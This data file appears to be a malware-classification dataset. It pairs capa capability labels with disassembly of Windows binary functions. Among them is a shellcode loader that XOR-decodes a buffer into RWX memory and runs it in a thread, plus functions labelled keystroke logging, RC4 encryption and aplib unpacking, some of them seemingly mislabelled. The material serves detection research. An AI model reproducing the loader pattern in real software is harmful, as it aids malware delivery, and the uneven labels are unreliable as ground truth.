joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001dc00
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x3f0
lea rcx, str.UNLOAD.TXT
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x14001dc90
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [0x140063788]
mov qword [0x1400634e0], rax
cmp qword [0x1400634e0], 0
je 0x14001dc90
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005660]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400634e8], rax
cmp qword [0x1400634e8], 0
je 0x14001dc78
jmp 0x14001dc90
mov rcx, qword [0x1400634e0]
call qword [0x140063780]
mov qword [0x1400634e0], 0
cmp dword [0x14005f140], 1
jne 0x14001dd7c
call fcn.1400197b0
cmp eax, 1
jne 0x14001dd7c
mov qword [rsp + 0x1d8], 0
mov dword [rsp + 0x1d0], 0
lea rdx, [rsp + 0x1d0]
lea rcx, [0x14005d480]
call fcn.14000ae40
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x14001dd7c
xor eax, eax
mov word [rsp + 0x1e0], ax
lea rax, [rsp + 0x1e2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, str.WINCRAFT.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1d8]
lea r8, str.__s_s_
mov edx, 0x104
lea rcx, [rsp + 0x1e0]
call fcn.140023d1c
mov eax, dword [0x14005f1e4]
mov dword [rsp + 0x28], eax
mov eax, dword [0x14005f1e0]
mov dword [rsp + 0x20], eax
lea r9, [0x14005f192]
lea r8, [0x14005f144]
lea rdx, str.FDCD3784_C0C5_4251_8F78_98D4A5EE6E82
lea rcx, [rsp + 0x1e0]
call fcn.140002e90
mov rcx, qword [rsp + 0x1d8]
call qword [0x140063780]
cmp dword [0x14005f134], 0
jne 0x14001dd8a
call fcn.14000ab30
cmp dword [0x14005f138], 1
jne 0x14001dd98
call fcn.14000a7b0
cmp dword [0x14005f134], 1
jne 0x14001dda6
call fcn.140014b60
mov ecx, 0x15
call fcn.140010fc0
cmp dword [0x14005da70], 1
jne 0x14001de22
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1400634f8], rax
cmp qword [0x1400634f8], 0
je 0x14001de22
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400095d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140063500], rax
cmp qword [0x140063500], 0
je 0x14001de15
jmp 0x14001de22
mov rcx, qword [0x1400634f8]
call qword [0x140063758]
lea rdx, [rsp + 0x30]
mov cx, 2
call qword [0x140064020]
test eax, eax
jne 0x14001dead
cmp dword [0x14005d33c], 1
jne 0x14001de6a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140018cb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400643f0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140021700]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400648e0], rax
cmp qword [0x1400648e0], 0
je 0x14001dea7
mov eax, 1
jmp 0x14001deb2
call qword [0x140064028]
mov eax, 1
add rsp, 0x3f0
pop rdi
ret
Function at 0x140ae0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140ae01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ae0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ae006f
add dl, dl
jne 0x140ae0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ae00f6
xor eax, eax
add dl, dl
jne 0x140ae00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ae01ad
add dl, dl
jne 0x140ae00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ae00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ae00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ae00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ae00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ae007e
mov eax, 1
add dl, dl
jne 0x140ae0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ae0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ae00fb
sub eax, ebx
mov ebx, 1
jne 0x140ae014c
mov ecx, 1
add dl, dl
jne 0x140ae012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ae013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ae0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ae007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ae0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ae0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ae015d
cmp eax, 0x7d00
jae 0x140ae019b
cmp eax, 0x500
jb 0x140ae0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ae007e
cmp eax, 0x7f
ja 0x140ae019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ae007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ae01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ae007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x6ce814bc
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x3e0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
lea rdx, [0x6ce84030]
mov ecx, 0x37d
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x36], 0x4e496f79
mov word [rbp - 0x32], 0x62
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
lea rax, [rbp - 0x30]
mov edx, 0x37d
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov dword [rbp + 0x35c], 0
mov dword [rbp + 0x358], 0
mov eax, dword [rbp + 0x358]
cdqe
cmp rax, 0x37c
ja 0x6ce815ab
cmp dword [rbp + 0x35c], 5
jne 0x6ce81569
mov dword [rbp + 0x35c], 0
mov rdx, qword [rbp - 0x40]
mov eax, dword [rbp + 0x358]
cdqe
add rdx, rax
mov rcx, qword [rbp - 0x40]
mov eax, dword [rbp + 0x358]
cdqe
add rax, rcx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x35c]
cdqe
movzx eax, byte [rbp + rax - 0x36]
xor eax, ecx
mov byte [rdx], al
add dword [rbp + 0x35c], 1
add dword [rbp + 0x358], 1
jmp 0x6ce81546
mov rax, qword [rbp - 0x40]
mov rdx, rax
lea rax, [rbp - 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x350]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x3e0
pop rbp
ret
Function at 0x6ce81ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x6ce875c4]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x6ce81be8
mov rax, qword [0x6ce875c8]
xor ebx, ebx
add rax, 8
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x6ce81b1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x6ce81bce
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x6ce81b00
mov rcx, rsi
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6ce81c20
movsxd rbx, ebx
lea rbx, [rbx + rbx*2]
shl rbx, 3
mov r13, rbx
add r13, qword [0x6ce875c8]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call sym._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov qword [r13 + 8], rax
mov rax, qword [0x6ce875c8]
lea rdx, [rsp + 0x20]
mov rcx, qword [rax + rbx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6ce81c03
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6ce81bc7
sub eax, 4
and eax, 0xfffffffb
je 0x6ce81bc7
add rbx, qword [0x6ce875c8]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x6ce81bef
add dword [0x6ce875c4], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebx, ebx
jmp 0x6ce81b27
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov rax, qword [0x6ce875c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rbx + 8]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call sym.__report_error
nop

Function at 0x6ce823a0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6ce878a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6ce87880]
test rbx, rbx
je 0x6ce823f4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6ce823eb
test rsi, rsi
je 0x6ce823eb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6ce823d0
lea rcx, [0x6ce878a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6ce82630
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6ce82640
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0
Function at 0x6ce82650
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6ce82691
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6ce82688
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x6ce82693
add rax, 0x28
cmp rax, r9
jne 0x6ce82674
xor eax, eax
ret

Function at 0x6ce82730
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x6ce84540]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
je 0x6ce82750
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6ce82748
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6ce827ad
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x6ce827a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x6ce82748
add rdx, 0x28
cmp rdx, r9
jne 0x6ce82790
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x6ce828c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6ce84540]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6ce828e0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6ce828d8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6ce8293d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6ce82934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6ce82944
add rax, 0x28
cmp rax, r9
jne 0x6ce82920
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6ce82960
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6ce84540]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
je 0x6ce82981
mov rax, r9
add rsp, 0x28
ret
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6ce82979
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x6ce82979
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6ce82979
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov rcx, r9
jb 0x6ce829d4
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x6ce829f0
add rdx, 0x28
cmp rdx, r10
jne 0x6ce829c0
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jne 0x6ce82a08
jmp 0x6ce829dd
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x6ce82a16
mov edx, dword [rax + 0xc]
test edx, edx
je 0x6ce829dd
test r8d, r8d
jg 0x6ce82a00
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x14002438c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400243d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400243d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400243d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400243d6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400243d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400243d8
xor al, al
add rsp, 0x28
ret

Function at 0x14002c9e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002c744

Function at 0x140cb6058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140cb61df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140cb6089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cb606f
add dl, dl
jne 0x140cb6096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cb60f6
xor eax, eax
add dl, dl
jne 0x140cb60a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140cb61ad
add dl, dl
jne 0x140cb60b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cb60c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cb60d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cb60dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140cb60ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140cb607e
mov eax, 1
add dl, dl
jne 0x140cb6106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140cb6113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cb60fb
sub eax, ebx
mov ebx, 1
jne 0x140cb614c
mov ecx, 1
add dl, dl
jne 0x140cb612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cb613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cb6123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cb607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140cb6168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140cb6175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140cb615d
cmp eax, 0x7d00
jae 0x140cb619b
cmp eax, 0x500
jb 0x140cb6196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cb607e
cmp eax, 0x7f
ja 0x140cb619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140cb607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140cb61d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140cb607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000e898
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140049e20]
mov rbx, rcx
and dword [rax + 0x2d9c], 0
test rcx, rcx
je 0x14000e901
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14000e90c
lea rdx, [0x14003cac4]
mov rcx, rbx
mov rdi, rax
call fcn.140009384
mov rbx, rax
test rax, rax
je 0x14000e901
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14001cf88
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
xor r14d, r14d
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rsi, rdx
movsxd rdi, r9d
mov rbp, rcx
test r9d, r9d
jle 0x14001d179
lea rbx, [r8 + 0x20]
xor r13d, r13d
lea r8d, [r14 + 1]
mov r11d, 0x100
xorps xmm7, xmm7
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001d02a
movsxd r10, dword [rsi + 0x24]
mov r9, qword [rsi + 8]
movsx ecx, r11w
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, r11w
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
mov r8d, 1
movd xmm0, eax
jmp 0x14001d04c
movsxd rdx, dword [rsi + 0x1c]
mov rax, qword [rsi + 8]
xorps xmm6, xmmword [0x14003cc40]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
mov al, byte [rbp + 0x20]
xor r15d, r15d
cvtdq2ps xmm0, xmm0
mov byte [rbx], al
mov al, byte [rbp + 0x24]
mov byte [rbx + 1], al
divss xmm6, xmm0
cmp dword [rbx - 0x10], r15d
jle 0x14001d16c
mov rcx, qword [rsp + 0xe0]
mov rax, r13
shl rax, 4
add rcx, 6
xor r12d, r12d
add rcx, rax
mov qword [rsp + 0x60], rcx
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001d09a
mov edx, dword [rbx - 0x1c]
add edx, r15d
jmp 0x14001d09e
mov edx, dword [rax + r12]
mov rcx, rsi
call fcn.14001c6bc
mov edx, eax
xorps xmm3, xmm3
mov eax, dword [rbp + 0x24]
xorps xmm2, xmm2
mov rcx, rsi
cvtsi2ss xmm3, rax
mov eax, dword [rbp + 0x20]
cvtsi2ss xmm2, rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x30], rax
mulss xmm3, xmm6
mulss xmm2, xmm6
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm7
call fcn.14001cb08
mov rcx, qword [rsp + 0x60]
mov r8d, 1
movzx eax, word [rbp + 0x20]
add r14d, r8d
sub ax, word [rsp + 0xd8]
add r13, r8
add ax, word [rbp + 0x1c]
add r15d, r8d
add ax, word [rsp + 0x50]
add r12, 4
sub ax, r8w
mov word [rcx - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x54]
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x58]
sub ax, r8w
mov word [rcx], ax
add rcx, 0x10
mov qword [rsp + 0x60], rcx
cmp r15d, dword [rbx - 0x10]
jl 0x14001d089
mov r11d, 0x100
add rbx, 0x28
sub rdi, r8
jne 0x14001cfd8
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov eax, r14d
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14001e2dc
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140049aa8]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.140008bcc
mov rcx, qword [0x14004a2a8]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x14004a2b0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14004a2b8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x14004a2b0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.140008bcc
mov rbx, rax
cmp byte [rax + 0x3a7], 0
je 0x14001e405
cvttss2si ecx, dword [rax + 0x110]
lea rdx, [rbp - 0x30]
mov dword [rbp - 0x30], ecx
cvttss2si ecx, dword [rax + 0x114]
mov dword [rbp - 0x2c], ecx
mov rcx, qword [0x14004a2a8]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx + 0x110], eax
mov dword [rbx + 0x114], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x14004a2a8]
jne 0x14001e468
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14001e468
mov rcx, qword [0x14004a2a8]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x14001e468
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx + 0x110], xmm0
movss dword [rbx + 0x114], xmm1
cmp byte [rdi + 0xc8], 0
je 0x14001e476
or eax, 0xffffffff
jmp 0x14001e47b
call fcn.140008c08
cmp dword [0x140048138], eax
je 0x14001e48e
mov dword [0x140048138], eax
call fcn.14001e4b8
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400397c0
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x140028ce8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x34], 0xc0000001
mov dword [rsp + 0x50], 0x30
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], 0x240
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
lea r8, [rsp + 0x50]
mov edx, 0xf003f
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwOpenKey]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140028e38
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call fcn.140032c30
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x140028d8c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
xor eax, eax
jmp 0x140028e3a
mov eax, dword [rsp + 0x30]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x40]
mov r8d, 1
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwQueryValueKey]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140028df5
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x30], eax
je 0x140028e0f
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntdll.dll_ZwClose]
mov rcx, qword [rsp + 0x40]
